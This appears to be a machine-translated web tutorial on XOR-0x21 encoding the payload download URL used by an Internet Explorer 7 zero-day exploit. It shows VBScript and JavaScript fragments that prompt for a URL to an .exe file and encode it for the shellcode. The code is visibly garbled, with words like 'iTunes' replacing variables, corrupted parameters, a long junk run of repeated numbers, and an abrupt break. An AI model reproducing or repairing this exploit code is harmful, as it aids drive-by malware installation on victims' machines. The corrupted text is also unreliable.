How to realize the escape+xor21 encryption of shellcode in ie7 0day

This article mainly introduces how to achieve shellcode in ie7 0day escape+xor21 encryption, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let Xiaobian take you to understand.

Function Encode (sforme n)

Dim b

B=UCase (s)

For iTunes 1 To Len (b)

Encode=Encode&Chrw ((Asc (Mid (bmemire1)) Xor n)

Next

End Function

Myrand=window.prompt ("url:", "http://www.sohu.com/1.exe");"

StrVariable = (Encode (myrand,0x21)) .toUpperCase ()

Function gen (url)

{

Var iTunes 0, 1, 5, 0, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,

L = url.length

For (; I)